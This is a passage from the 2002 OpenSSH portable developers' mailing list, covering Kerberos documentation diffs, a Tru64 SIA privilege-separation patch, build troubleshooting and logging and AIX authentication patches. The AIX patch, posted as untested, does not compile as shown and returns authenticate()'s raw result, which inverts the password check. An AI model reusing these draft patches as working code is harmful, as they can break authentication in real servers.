forwarding.\n");
        fprintf(stderr, "  -x          Disable X11 connection forwarding 
(default).\n");
@@ -312,7 +312,7 @@
                case 'A':
                        options.forward_agent = 1;
                        break;
-#ifdef AFS
+#if defined (AFS) || defined (KRB5)
                case 'k':
                        options.kerberos_tgt_passing = 0;
                        options.afs_token_passing = 0;
Index: ssh.1
===================================================================
RCS file: /cvs/openssh/ssh.1,v
retrieving revision 1.119
diff -u -r1.119 ssh.1
--- ssh.1       23 Jun 2002 00:32:12 -0000      1.119
+++ ssh.1       9 Aug 2002 21:43:29 -0000
@@ -471,7 +471,7 @@
 should use to communicate with a smartcard used for storing the user's
 private RSA key.
 .It Fl k
-Disables forwarding of Kerberos tickets and AFS tokens.
+Disables forwarding of Kerberos V4/5 tickets and AFS tokens under SSH 
protocol 1.
 This may also be specified on a per-host basis in the configuration file.
 .It Fl l Ar login_name
 Specifies the user to log in as on the remote machine.
Index: ssh_config.5
===================================================================
RCS file: /cvs/openssh/ssh_config.5,v
retrieving revision 1.1
diff -u -r1.1 ssh_config.5
--- ssh_config.5        21 Jun 2002 00:59:06 -0000      1.1
+++ ssh_config.5        9 Aug 2002 21:43:30 -0000
@@ -355,8 +355,8 @@
 or
 .Dq no .
 .It Cm KerberosTgtPassing
-Specifies whether a Kerberos TGT will be forwarded to the server.
-This will only work if the Kerberos server is actually an AFS kaserver.
+Specifies whether Kerberos V4/5 TGT's will be forwarded to the server.
+This will only work with Kerberos V4 if the KDC is an AFS kaserver.
 The argument to this keyword must be
 .Dq yes
 or
Index: sshd_config
===================================================================
RCS file: /cvs/openssh/sshd_config,v
retrieving revision 1.53
diff -u -r1.53 sshd_config
--- sshd_config 1 Aug 2002 01:28:39 -0000       1.53
+++ sshd_config 9 Aug 2002 21:43:30 -0000
@@ -66,7 +66,8 @@
 
 #AFSTokenPassing no
 
-# Kerberos TGT Passing only works with the AFS kaserver
+# Specifies whether Kerberos V4/5 TGT's can be forwarded to the server.
+# Kerberos V4 TGT passing only works when KDC is an AFS kaserver.
 #KerberosTgtPassing no
 
 # Set this to 'yes' to enable PAM keyboard-interactive authentication
Index: sshd_config.5
===================================================================
RCS file: /cvs/openssh/sshd_config.5,v
retrieving revision 1.5
diff -u -r1.5 sshd_config.5
--- sshd_config.5       1 Aug 2002 01:28:39 -0000       1.5
+++ sshd_config.5       9 Aug 2002 21:43:30 -0000
@@ -320,10 +320,10 @@
 Default is
 .Dq yes .
 .It Cm KerberosTgtPassing
-Specifies whether a Kerberos TGT may be forwarded to the server.
+Specifies whether Kerberos V4/5 TGT's may be forwarded to the server.
 Default is
-.Dq no ,
-as this only works when the Kerberos KDC is actually an AFS kaserver.
+.Dq no .
+This will only work with Kerberos V4 if the KDC is an AFS kaserver.
 .It Cm KerberosTicketCleanup
 Specifies whether to automatically destroy the user's ticket cache
 file on logout.




From mouring at etoh.eviladmin.org  Mon Aug 12 08:37:50 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Sun, 11 Aug 2002 17:37:50 -0500 (CDT)
Subject: OSF/1 or Tru64 patch for Privsep
Message-ID: <Pine.BSO.4.44.0208111731020.2234-100000@etoh.eviladmin.org>

Either this never made it to the list or no one cares about Tru64.  This
is the last time I'll send this patch to the list.  If no one steps up and
finishes it or provides me with enough information to fix any remaining
bugs (one being complaint that 'ssh site cmd' does not work right).

If there is no activity on this for a week.  I'll post it to bugzilla and
will ignore any request for me to fix Tru64.

I do thank everyone that has privately contributed help in regards to
testing and such.

This patch may apply to 3.4p1, but I'd perfer testing to be done on -cvs.

- Ben

diff -ur openssh-3.4p1/auth-sia.c openssh-3.4p1+/auth-sia.c
--- openssh-3.4p1/auth-sia.c	Fri Apr 12 11:36:08 2002
+++ openssh-3.4p1+/auth-sia.c	Mon Jul 22 23:34:37 2002
@@ -41,9 +41,11 @@
 #include <unistd.h>
 #include <string.h>

+/* import */
 extern ServerOptions options;
 extern int saved_argc;
 extern char **saved_argv;
+extern int use_privsep;

 extern int errno;

@@ -77,7 +79,7 @@
 }

 void
-session_setup_sia(char *user, char *tty)
+setup_sia(char *user, char *tty)
 {
 	struct passwd *pw;
 	SIAENTITY *ent = NULL;
@@ -86,9 +88,8 @@
 	host = get_canonical_hostname (options.verify_reverse_mapping);

 	if (sia_ses_init(&ent, saved_argc, saved_argv, host, user, tty, 0,
-	    NULL) != SIASUCCESS) {
+	    NULL) != SIASUCCESS)
 		fatal("sia_ses_init failed");
-	}

 	if ((pw = getpwnam(user)) == NULL) {
 		sia_ses_release(&ent);
@@ -100,25 +101,24 @@
 	}

 	ent->authtype = SIA_A_NONE;
-	if (sia_ses_estab(sia_collect_trm, ent) != SIASUCCESS) {
+	if (sia_ses_estab(sia_collect_trm, ent) != SIASUCCESS)
 		fatal("Couldn't establish session for %s from %s", user,
 		    host);
-	}

 	if (setpriority(PRIO_PROCESS, 0, 0) == -1) {
 		sia_ses_release(&ent);
 		fatal("setpriority: %s", strerror (errno));
 	}

-	if (sia_ses_launch(sia_collect_trm, ent) != SIASUCCESS) {
+	if (sia_ses_launch(sia_collect_trm, ent) != SIASUCCESS)
 		fatal("Couldn't launch session for %s from %s", user, host);
-	}
-
+
 	sia_ses_release(&ent);

-	if (setreuid(geteuid(), geteuid()) < 0) {
-		fatal("setreuid: %s", strerror(errno));
+	/* XXX: Should this be be around a if (!use_privsep) ? */
+	if (!use_privsep) {
+		if (setreuid(geteuid(), geteuid()) < 0)
+			fatal("setreuid: %s", strerror(errno));
 	}
 }
-
 #endif /* HAVE_OSF_SIA */
diff -ur openssh-3.4p1/auth-sia.h openssh-3.4p1+/auth-sia.h
--- openssh-3.4p1/auth-sia.h	Fri Apr 12 11:36:08 2002
+++ openssh-3.4p1+/auth-sia.h	Sun Jul 21 22:53:14 2002
@@ -27,6 +27,6 @@
 #ifdef HAVE_OSF_SIA

 int	auth_sia_password(Authctxt *authctxt, char *pass);
-void	session_setup_sia(char *user, char *tty);
+void	setup_sia(char *user, char *tty);

 #endif /* HAVE_OSF_SIA */
diff -ur openssh-3.4p1/monitor.c openssh-3.4p1+/monitor.c
--- openssh-3.4p1/monitor.c	Wed Jun 26 09:27:11 2002
+++ openssh-3.4p1+/monitor.c	Sun Jul 21 22:53:14 2002
@@ -120,6 +120,10 @@
 int mm_answer_pam_start(int, Buffer *);
 #endif

+#ifdef HAVE_OSF_SIA
+int mm_answer_setup_sia(int, Buffer *);
+#endif
+
 static Authctxt *authctxt;
 static BIGNUM *ssh1_challenge = NULL;	/* used for ssh1 rsa auth */

@@ -176,6 +180,9 @@
     {MONITOR_REQ_PTY, 0, mm_answer_pty},
     {MONITOR_REQ_PTYCLEANUP, 0, mm_answer_pty_cleanup},
     {MONITOR_REQ_TERM, 0, mm_answer_term},
+#ifdef HAVE_OSF_SIA
+    {MONITOR_REQ_SETUP_SIA, 0, mm_answer_setup_sia},
+#endif
     {0, 0, NULL}
 };

@@ -206,6 +213,9 @@
     {MONITOR_REQ_PTY, MON_ONCE, mm_answer_pty},
     {MONITOR_REQ_PTYCLEANUP, MON_ONCE, mm_answer_pty_cleanup},
     {MONITOR_REQ_TERM, 0, mm_answer_term},
+#ifdef HAVE_OSF_SIA
+    {MONITOR_REQ_SETUP_SIA, MON_ONCE, mm_answer_setup_sia},
+#endif
     {0, 0, NULL}
 };

@@ -307,10 +317,16 @@
 		monitor_permit(mon_dispatch, MONITOR_REQ_MODULI, 1);
 		monitor_permit(mon_dispatch, MONITOR_REQ_SIGN, 1);
 		monitor_permit(mon_dispatch, MONITOR_REQ_TERM, 1);
+#ifdef HAVE_OSF_SIA
+		monitor_permit(mon_dispatch, MONITOR_REQ_SETUP_SIA, 1);
+#endif

 	} else {
 		mon_dispatch = mon_dispatch_postauth15;
 		monitor_permit(mon_dispatch, MONITOR_REQ_TERM, 1);
+#ifdef HAVE_OSF_SIA
+		monitor_permit(mon_dispatch, MONITOR_REQ_SETUP_SIA, 1);
+#endif
 	}
 	if (!no_pty_flag) {
 		monitor_permit(mon_dispatch, MONITOR_REQ_PTY, 1);
@@ -717,6 +733,22 @@

 	return (authok != 0);
 }
+#endif
+
+#ifdef HAVE_OSF_SIA
+int
+mm_answer_setup_sia(int socket, Buffer *m)
+{
+	char *user, *tty;
+
+	user = buffer_get_string(m, NULL);
+	tty = buffer_get_string(m, NULL);
+
+	setup_sia(user, tty);
+
+	xfree(user);
+	xfree(tty);
+}
 #endif

 #ifdef USE_PAM
diff -ur openssh-3.4p1/monitor.h openssh-3.4p1+/monitor.h
--- openssh-3.4p1/monitor.h	Tue Jun 11 12:42:49 2002
+++ openssh-3.4p1+/monitor.h	Sun Jul 21 22:53:14 2002
@@ -50,6 +50,7 @@
 	MONITOR_REQ_RSACHALLENGE, MONITOR_ANS_RSACHALLENGE,
 	MONITOR_REQ_RSARESPONSE, MONITOR_ANS_RSARESPONSE,
 	MONITOR_REQ_PAM_START,
+	MONITOR_REQ_SETUP_SIA,
 	MONITOR_REQ_TERM
 };

diff -ur openssh-3.4p1/monitor_wrap.c openssh-3.4p1+/monitor_wrap.c
--- openssh-3.4p1/monitor_wrap.c	Thu Jun 20 20:43:43 2002
+++ openssh-3.4p1+/monitor_wrap.c	Sun Jul 21 22:53:14 2002
@@ -649,6 +649,24 @@
 	s->ttyfd = -1;
 }

+#ifdef HAVE_OSF_SIA
+void
+mm_setup_sia(char *name, char *tty)
+{
+	Buffer m;
+
+	debug3("%s entering", __func__);
+
+	buffer_init(&m);
+	buffer_put_cstring(&m, name);
+	buffer_put_cstring(&m, tty);
+
+	mm_request_send(pmonitor->m_recvfd, MONITOR_REQ_SETUP_SIA, &m);
+
+	buffer_free(&m);
+}
+#endif
+
 #ifdef USE_PAM
 void
 mm_start_pam(char *user)
diff -ur openssh-3.4p1/monitor_wrap.h openssh-3.4p1+/monitor_wrap.h
--- openssh-3.4p1/monitor_wrap.h	Sun May 12 21:07:42 2002
+++ openssh-3.4p1+/monitor_wrap.h	Sun Jul 21 22:53:14 2002
@@ -59,6 +59,10 @@
 void mm_start_pam(char *);
 #endif

+#ifdef HAVE_OSF_SIA
+void mm_setup_sia(char *, char *);
+#endif
+
 void mm_terminate(void);
 int mm_pty_allocate(int *, int *, char *, int);
 void mm_session_pty_cleanup2(void *);
diff -ur openssh-3.4p1/session.c openssh-3.4p1+/session.c
--- openssh-3.4p1/session.c	Wed Jun 26 09:51:06 2002
+++ openssh-3.4p1+/session.c	Sun Jul 21 23:26:49 2002
@@ -57,6 +57,7 @@
 #include "canohost.h"
 #include "session.h"
 #include "monitor_wrap.h"
+#include "auth-sia.h"

 #ifdef HAVE_CYGWIN
 #include <windows.h>
@@ -1269,7 +1270,7 @@
 	 */
 	if (!options.use_login) {
 #ifdef HAVE_OSF_SIA
-		session_setup_sia(pw->pw_name, s->ttyfd == -1 ? NULL : s->tty);
+		PRIVSEP(setup_sia(pw->pw_name, s->ttyfd == -1 ? NULL : s->tty));
 		if (!check_quietlogin(s, command))
 			do_motd();
 #else /* HAVE_OSF_SIA */



From djm at mindrot.org  Mon Aug 12 16:07:20 2002
From: djm at mindrot.org (Damien Miller)
Date: 12 Aug 2002 16:07:20 +1000
Subject: darwin getaddrinfo
In-Reply-To: <20020809085721.C95467BA@starfruit.itojun.org>
References: <20020809085721.C95467BA@starfruit.itojun.org>
Message-ID: <1029132441.1517.12.camel@xenon.mel.my-fortress.com>

On Fri, 2002-08-09 at 18:57, Jun-ichiro itojun Hagino wrote:
> 	in configure.ac, we AC_DEFINE(BROKEN_GETADDRINFO) for *-darwin-*
> 	platforms.  recent Darwin fixed getaddrinfo to work as specified in
> 	RFC2553, so the case clause is not needed for recent Darwin.
> 	still not sure when it was corrected.  anyone has a clue?

Can you think of any run-time tests which doesn't require an online DNS
which can detect broken getaddrinfo implementations? 

I'd much rather a runtime test than hardcoded workarounds in configure.

-d




From anony at aktivist.fi  Mon Aug 12 16:03:10 2002
From: anony at aktivist.fi (Ano nymous)
Date: Mon, 12 Aug 2002 06:03:10 GMT
Subject: Problem with canohost.c
Message-ID: <20020812060310.30130.qmail@tincan1.aktivist.net>

Hi,
I have a small problem while porting OpenSSH v2.1.1p4 (a little older
version )to uClinux. I have tryed to contact some other forums, but without
any success.
So, the problem is with canohost.c, where I get the following mistake:

canohost.c: In function `get_remote_hostname':
canohost.c:36: storage size of `hints' isn't known
canohost.c:49: structure has no member named `ss_family'
canohost.c:98: structure has no member named `ss_family'
canohost.c:100: warning: implicit declaration of function `getaddrinfo'
canohost.c:106: dereferencing pointer to incomplete type
canohost.c:107: dereferencing pointer to incomplete type
canohost.c:107: dereferencing pointer to incomplete type
canohost.c:112: warning: implicit declaration of function `freeaddrinfo'
canohost.c:142: structure has no member named `ss_family'
canohost.c:36: warning: unused variable `hints'
make[2]: *** [canohost.o] Error 1

I hope that in here, someone can help me,
Kimmo


From akm099 at pcs.mot.com  Sat Aug 10 00:44:26 2002
From: akm099 at pcs.mot.com (Kalyan Manchikanti)
Date: Fri, 9 Aug 2002 09:44:26 -0500 (CDT)
Subject: Can't find recent OpenSSL libcrypto
Message-ID: <Pine.SO4.4.44.0208090931550.28761-100000@talon77>

Markus,
I found your e-mail address in the OpenSSH mailing list. I am having a
pecuilar problem and after hours and hours of researching i am still at a
loss regarding this.
I am trying to install openssh-3.4p1 on a SUN box running Solaris8. I
installed Openssl and Zlib as mentioned by the readme and am specifying
the prefixes right by issuing the following command for configure,

./configure --with-prefix=/usr --sysconfdir=/etc/ssh
--with-ssl-dir=/usr/local/ssl/lib/ --with-zlib=/usr/l
ocal/zlib/libz.a


and inspite of numerous attempts and trying to decipher it i end up with
the dreaded message,

"configure: error: *** Can't find recent OpenSSL libcrypto (see config.log
for details) **"

I did find a message in the archives which addresses this problem about
the 64 /32 bit compatibilty and use cppflags to build it  but
after using this to conifgure OpenSSH

/configure --with-prefix=/usr --sysconfdir=/etc/ssh --with-cppflags
--with-ssl-dir=/usr/local/ssl/lib/ --
with-zlib=/usr/local/zlib/libz.a

I end up with

onfigure:5389: error: *** zlib missing - please install first or check
config.log ***

PLEASE help me,


Thanks Much
Kalyan
UNIX Administrator
Motorola Inc.






From markus at openbsd.org  Mon Aug 12 20:47:20 2002
From: markus at openbsd.org (Markus Friedl)
Date: Mon, 12 Aug 2002 12:47:20 +0200
Subject: Logging of key fingerprint / comment with v3.4p1
In-Reply-To: <20020809153620.A9906917@ohm.arago.de>
References: <60F1F87A64834D45A1EBAE9618305FB80120BEF9@qeo00200> <20020809153620.A9906917@ohm.arago.de>
Message-ID: <20020812104720.GE9422@folly>

On Fri, Aug 09, 2002 at 03:36:20PM +0200, Thomas Binder wrote:
> --- openssh-3.4p1.orig/auth-rsa.c	Tue Jun 11 17:47:42 2002
> +++ openssh-3.4p1/auth-rsa.c	Tue Jul  2 12:43:58 2002
> @@ -259,6 +259,8 @@
>  			continue;
>  
>  		/* break out, this key is allowed */
> + 		log("User %s authenticated by line \"%s\" of %s",
> + 			pw->pw_name, strtok(line, "\r\n"), file);
>  		allowed = 1;
>  		break;

the user is not authenticated at this poit.

just the key is allowed.


From Lutz.Jaenicke at aet.TU-Cottbus.DE  Mon Aug 12 21:09:53 2002
From: Lutz.Jaenicke at aet.TU-Cottbus.DE (Lutz Jaenicke)
Date: Mon, 12 Aug 2002 13:09:53 +0200
Subject: Can't find recent OpenSSL libcrypto
In-Reply-To: <Pine.SO4.4.44.0208090931550.28761-100000@talon77>
References: <Pine.SO4.4.44.0208090931550.28761-100000@talon77>
Message-ID: <20020812110953.GA19868@serv01.aet.tu-cottbus.de>

On Fri, Aug 09, 2002 at 09:44:26AM -0500, Kalyan Manchikanti wrote:
> I found your e-mail address in the OpenSSH mailing list. I am having a
> pecuilar problem and after hours and hours of researching i am still at a
> loss regarding this.
> I am trying to install openssh-3.4p1 on a SUN box running Solaris8. I
> installed Openssl and Zlib as mentioned by the readme and am specifying
> the prefixes right by issuing the following command for configure,
> 
> ./configure --with-prefix=/usr --sysconfdir=/etc/ssh
> --with-ssl-dir=/usr/local/ssl/lib/ --with-zlib=/usr/l
> ocal/zlib/libz.a

./configure --with-prefix=/usr --sysconfdir=/etc/ssh --with-ssl-dir=/usr/local/ssl --with-zlib=/usr/local/zlib

> "configure: error: *** Can't find recent OpenSSL libcrypto (see config.log
> for details) **"

config.log should contain the explanations for both problems you have.

-- 
Lutz Jaenicke                             Lutz.Jaenicke at aet.TU-Cottbus.DE
http://www.aet.TU-Cottbus.DE/personen/jaenicke/
BTU Cottbus, Allgemeine Elektrotechnik
Universitaetsplatz 3-4, D-03044 Cottbus


From binder at arago.de  Mon Aug 12 23:00:31 2002
From: binder at arago.de (Thomas Binder)
Date: Mon, 12 Aug 2002 15:00:31 +0200
Subject: Logging of key fingerprint / comment with v3.4p1
In-Reply-To: <20020812104720.GE9422@folly>; from markus@openbsd.org on Mon, Aug 12, 2002 at 12:47:20PM +0200
References: <60F1F87A64834D45A1EBAE9618305FB80120BEF9@qeo00200> <20020809153620.A9906917@ohm.arago.de> <20020812104720.GE9422@folly>
Message-ID: <20020812150030.A10161681@ohm.arago.de>

Hi!

On Mon, Aug 12, 2002 at 12:47:20PM +0200, Markus Friedl wrote:
> > --- openssh-3.4p1.orig/auth-rsa.c	Tue Jun 11 17:47:42 2002
> > +++ openssh-3.4p1/auth-rsa.c	Tue Jul  2 12:43:58 2002
> > [...]
> 
> the user is not authenticated at this poit.

Thanks for the hint, but the patch was originally created long
before revision 1.42 of auth-rsa.c, i.e. at a time where the user
/was/ authenticated at that point.

Besides, I just took a look at auth-rsa.c, and judging by the
code, it should definitely log "Found matching key", but it
doesn't.

This seems to be related to privilege separation, because as soon
as I turn it off in sshd_config, the fingerprints of RSA1 keys are
logged.


Ciao

Thomas


From keith.schincke1 at jsc.nasa.gov  Tue Aug 13 01:50:47 2002
From: keith.schincke1 at jsc.nasa.gov (SCHINCKE, KEITH (JSC-SM) (LM))
Date: Mon, 12 Aug 2002 10:50:47 -0500
Subject: OSF/1 or Tru64 patch for Privsep
Message-ID: <1408A865DCF403478A33EE887F87473204E00E08@jsc-mail03.jsc.nasa.gov>

Hey Ben,

I pulled the latest snap shot (20020801) and got your patch to apply with
only one chunk rejected. 

I have been able to login with the new code using the OpenSSH client,
ssh.com 3.1.0 and putty 0.52.

"It works for me."

Any other data points you are interested in?

Thanks for the work you put into this.

Keith

-----Original Message-----
From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
Sent: Sunday, August 11, 2002 5:38 PM
To: OpenSSH Development
Subject: OSF/1 or Tru64 patch for Privsep



Either this never made it to the list or no one cares about Tru64.  This
is the last time I'll send this patch to the list.  If no one steps up and
finishes it or provides me with enough information to fix any remaining
bugs (one being complaint that 'ssh site cmd' does not work right).

If there is no activity on this for a week.  I'll post it to bugzilla and
will ignore any request for me to fix Tru64.

I do thank everyone that has privately contributed help in regards to
testing and such.

This patch may apply to 3.4p1, but I'd perfer testing to be done on -cvs.

- Ben


From mouring at etoh.eviladmin.org  Tue Aug 13 02:08:15 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Mon, 12 Aug 2002 11:08:15 -0500 (CDT)
Subject: OSF/1 or Tru64 patch for Privsep
In-Reply-To: <1408A865DCF403478A33EE887F87473204E00E08@jsc-mail03.jsc.nasa.gov>
Message-ID: <Pine.BSO.4.44.0208121106240.2234-100000@etoh.eviladmin.org>

try everything... X11 forward, port forwarding, executing remote commands.

Everything needs to be tested.. Also check to ensure HAVE_OSF_SIA is set
in your config.h.

- Ben

On Mon, 12 Aug 2002, SCHINCKE, KEITH (JSC-SM) (LM) wrote:

> Hey Ben,
>
> I pulled the latest snap shot (20020801) and got your patch to apply with
> only one chunk rejected.
>
> I have been able to login with the new code using the OpenSSH client,
> ssh.com 3.1.0 and putty 0.52.
>
> "It works for me."
>
> Any other data points you are interested in?
>
> Thanks for the work you put into this.
>
> Keith
>
> -----Original Message-----
> From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
> Sent: Sunday, August 11, 2002 5:38 PM
> To: OpenSSH Development
> Subject: OSF/1 or Tru64 patch for Privsep
>
>
>
> Either this never made it to the list or no one cares about Tru64.  This
> is the last time I'll send this patch to the list.  If no one steps up and
> finishes it or provides me with enough information to fix any remaining
> bugs (one being complaint that 'ssh site cmd' does not work right).
>
> If there is no activity on this for a week.  I'll post it to bugzilla and
> will ignore any request for me to fix Tru64.
>
> I do thank everyone that has privately contributed help in regards to
> testing and such.
>
> This patch may apply to 3.4p1, but I'd perfer testing to be done on -cvs.
>
> - Ben
>



From janfrode at ii.uib.no  Tue Aug 13 03:07:54 2002
From: janfrode at ii.uib.no (Jan-Frode Myklebust)
Date: Mon, 12 Aug 2002 19:07:54 +0200
Subject: AIX authenticate()
Message-ID: <20020812190754.B8644@ii.uib.no>

Hi, 

I just got a comment from one of my IBM support engineeres that there
is a problem with auth-passwd.c only calling authenticate() once. He
claims it should potentially be called several times, in case several
authetication methods are defined in /etc/security/user. F.ex.:

	SYSTEM = "NIS and DCE"

Suggested (untested) patch should look like:

----------------- cut --------------------
%  diff -u auth-passwd.c-original auth-passwd.c      
--- auth-passwd.c-original	2002-08-12 18:43:25.000000000 +0200
+++ auth-passwd.c	2002-08-12 19:02:43.000000000 +0200
@@ -114,6 +114,7 @@
 #ifdef WITH_AIXAUTHENTICATE
 	char *authmsg;
 	char *loginmsg;
+	int rc;
 	int reenter = 1;
 #endif
 
@@ -145,7 +146,11 @@
 	}
 #endif
 #ifdef WITH_AIXAUTHENTICATE
-	return (authenticate(pw->pw_name,password,&reenter,&authmsg) == 0);
+	while (reenter) {
+		rc = authenticate (pw->pw_name,password,&reenter,&authmsg)
+	}	
+	return (rc);
 #endif
 #ifdef KRB4
 	if (options.kerberos_authentication == 1) {
----------------- /cut -------------------

It kind of looks like it's a slip that this isn't fixed in
auth-passwd.c, as 'int reenter = 1;' is already available inside
WITH_AIXAUTHENTICATE.


  -jf


From vervoom at hotmail.com  Tue Aug 13 03:58:45 2002
From: vervoom at hotmail.com (J S)
Date: Mon, 12 Aug 2002 17:58:45 +0000
Subject: AIX authenticate()
Message-ID: <LAW2-F96htpj6acPzol00015241@hotmail.com>

Maybe I'm barking up the wrong tree here but I applied this patch to see if 
it would fix the securid authentication on AIX, but no such luck.

debug3: mm_auth_password: waiting for MONITOR_ANS_AUTHPASSWORD
debug3: mm_request_receive_expect entering: type 11
debug3: mm_request_receive entering
debug3: mm_auth_password: user not authenticated
Failed none for u742359 from 165.3.156.65 port 1751 ssh2
debug1: userauth-request for user u752359 service ssh-connection method 
keyboard-interactive
debug1: attempt 1 failures 1
debug2: input_userauth_request: try method keyboard-interactive
debug1: keyboard-interactive devs
Failed keyboard-interactive for u742359 from 165.3.156.65 port 1751 ssh2
debug1: userauth-request for user u742359 service ssh-connection method 
password
debug1: attempt 2 failures 2
debug2: input_userauth_request: try method password
debug3: mm_auth_password entering

Cheers,

JS.


>Hi,
>
>I just got a comment from one of my IBM support engineeres that there
>is a problem with auth-passwd.c only calling authenticate() once. He
>claims it should potentially be called several times, in case several
>authetication methods are defined in /etc/security/user. F.ex.:
>
>	SYSTEM = "NIS and DCE"
>
>Suggested (untested) patch should look like:
>
>----------------- cut --------------------
>%  diff -u auth-passwd.c-original auth-passwd.c
>--- auth-passwd.c-original	2002-08-12 18:43:25.000000000 +0200
>+++ auth-passwd.c	2002-08-12 19:02:43.000000000 +0200
>@@ -114,6 +114,7 @@
>  #ifdef WITH_AIXAUTHENTICATE
>  	char *authmsg;
>  	char *loginmsg;
>+	int rc;
>  	int reenter = 1;
>  #endif
>
>@@ -145,7 +146,11 @@
>  	}
>  #endif
>  #ifdef WITH_AIXAUTHENTICATE
>-	return (authenticate(pw->pw_name,password,&reenter,&authmsg) == 0);
>+	while (reenter) {
>+		rc = authenticate (pw->pw_name,password,&reenter,&authmsg)
>+	}
>+	return (rc);
>  #endif
>  #ifdef KRB4
>  	if (options.kerberos_authentication == 1) {
>----------------- /cut -------------------
>
>It kind of looks like it's a slip that this isn't fixed in
>auth-passwd.c, as 'int reenter = 1;' is already available inside
>WITH_AIXAUTHENTICATE.
>
>
>   -jf
>_______________________________________________
>openssh-unix-dev at mindrot.org mailing list
>http://www.mindrot.org/mailman/listinfo/openssh-unix-dev




_________________________________________________________________
Chat with friends online, try MSN Messenger: http://messenger.msn.com



From keith.schincke1 at jsc.nasa.gov  Tue Aug 13 04:26:02 2002
From: keith.schincke1 at jsc.nasa.gov (SCHINCKE, KEITH (JSC-SM) (LM))
Date: Mon, 12 Aug 2002 13:26:02 -0500
Subject: OSF/1 or Tru64 patch for Privsep
Message-ID: <1408A865DCF403478A33EE887F87473204E00E10@jsc-mail03.jsc.nasa.gov>

HAVE_OSF_SIA yes
X11 forward yes
remote command execution fails with "buffer_put_cstring: s == NULL"

I am looking into where things failing at.

-----Original Message-----
From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
Sent: Monday, August 12, 2002 11:08 AM
To: SCHINCKE, KEITH (JSC-SM) (LM)
Cc: OpenSSH Development
Subject: RE: OSF/1 or Tru64 patch for Privsep



try everything... X11 forward, port forwarding, executing remote commands.

Everything needs to be tested.. Also check to ensure HAVE_OSF_SIA is set
in your config.h.

- Ben

On Mon, 12 Aug 2002, SCHINCKE, KEITH (JSC-SM) (LM) wrote:

> Hey Ben,
>
> I pulled the latest snap shot (20020801) and got your patch to apply with
> only one chunk rejected.
>
> I have been able to login with the new code using the OpenSSH client,
> ssh.com 3.1.0 and putty 0.52.
>
> "It works for me."
>
> Any other data points you are interested in?
>
> Thanks for the work you put into this.
>
> Keith
>
> -----Original Message-----
> From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
> Sent: Sunday, August 11, 2002 5:38 PM
> To: OpenSSH Development
> Subject: OSF/1 or Tru64 patch for Privsep
>
>
>
> Either this never made it to the list or no one cares about Tru64.  This
> is the last time I'll send this patch to the list.  If no one steps up and
> finishes it or provides me with enough information to fix any remaining
> bugs (one being complaint that 'ssh site cmd' does not work right).
>
> If there is no activity on this for a week.  I'll post it to bugzilla and
> will ignore any request for me to fix Tru64.
>
> I do thank everyone that has privately contributed help in regards to
> testing and such.
>
> This patch may apply to 3.4p1, but I'd perfer testing to be done on -cvs.
>
> - Ben
>


From mouring at etoh.eviladmin.org  Tue Aug 13 04:27:07 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Mon, 12 Aug 2002 13:27:07 -0500 (CDT)
Subject: AIX authenticate()
In-Reply-To: <20020812190754.B8644@ii.uib.no>
Message-ID: <Pine.BSO.4.44.0208121322350.2234-100000@etoh.eviladmin.org>

On Mon, 12 Aug 2002, Jan-Frode Myklebust wrote:

>
> Hi,
>
> I just got a comment from one of my IBM support engineeres that there
> is a problem with auth-passwd.c only calling authenticate() once. He
> claims it should potentially be called several times, in case several
> authetication methods are defined in /etc/security/user. F.ex.:
>
> 	SYSTEM = "NIS and DCE"
>
> Suggested (untested) patch should look like:
>

How does this affect OpenSSH?  What can I do to mimic this on my AIX box?

- Ben



From mouring at etoh.eviladmin.org  Tue Aug 13 04:30:48 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Mon, 12 Aug 2002 13:30:48 -0500 (CDT)
Subject: OSF/1 or Tru64 patch for Privsep
In-Reply-To: <1408A865DCF403478A33EE887F87473204E00E10@jsc-mail03.jsc.nasa.gov>
Message-ID: <Pine.BSO.4.44.0208121330180.2234-100000@etoh.eviladmin.org>

Every also test w/ and w/out Privsep so we don't break the non-privsep
case. (That would be a *REAL* shame if we did. <weak smile>)

- Ben


On Mon, 12 Aug 2002, SCHINCKE, KEITH (JSC-SM) (LM) wrote:

> HAVE_OSF_SIA yes
> X11 forward yes
> remote command execution fails with "buffer_put_cstring: s == NULL"
>
> I am looking into where things failing at.
>
> -----Original Message-----
> From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
> Sent: Monday, August 12, 2002 11:08 AM
> To: SCHINCKE, KEITH (JSC-SM) (LM)
> Cc: OpenSSH Development
> Subject: RE: OSF/1 or Tru64 patch for Privsep
>
>
>
> try everything... X11 forward, port forwarding, executing remote commands.
>
> Everything needs to be tested.. Also check to ensure HAVE_OSF_SIA is set
> in your config.h.
>
> - Ben
>
> On Mon, 12 Aug 2002, SCHINCKE, KEITH (JSC-SM) (LM) wrote:
>
> > Hey Ben,
> >
> > I pulled the latest snap shot (20020801) and got your patch to apply with
> > only one chunk rejected.
> >
> > I have been able to login with the new code using the OpenSSH client,
> > ssh.com 3.1.0 and putty 0.52.
> >
> > "It works for me."
> >
> > Any other data points you are interested in?
> >
> > Thanks for the work you put into this.
> >
> > Keith
> >
> > -----Original Message-----
> > From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
> > Sent: Sunday, August 11, 2002 5:38 PM
> > To: OpenSSH Development
> > Subject: OSF/1 or Tru64 patch for Privsep
> >
> >
> >
> > Either this never made it to the list or no one cares about Tru64.  This
> > is the last time I'll send this patch to the list.  If no one steps up and
> > finishes it or provides me with enough information to fix any remaining
> > bugs (one being complaint that 'ssh site cmd' does not work right).
> >
> > If there is no activity on this for a week.  I'll post it to bugzilla and
> > will ignore any request for me to fix Tru64.
> >
> > I do thank everyone that has privately contributed help in regards to
> > testing and such.
> >
> > This patch may apply to 3.4p1, but I'd perfer testing to be done on -cvs.
> >
> > - Ben
> >
>



From itojun at iijlab.net  Tue Aug 13 04:44:01 2002
From: itojun at iijlab.net (Jun-ichiro itojun Hagino)
Date: Tue, 13 Aug 2002 03:44:01 +0900
Subject: darwin getaddrinfo 
In-Reply-To: djm's message of 12 Aug 2002 16:07:20 +1000.
      <1029132441.1517.12.camel@xenon.mel.my-fortress.com> 
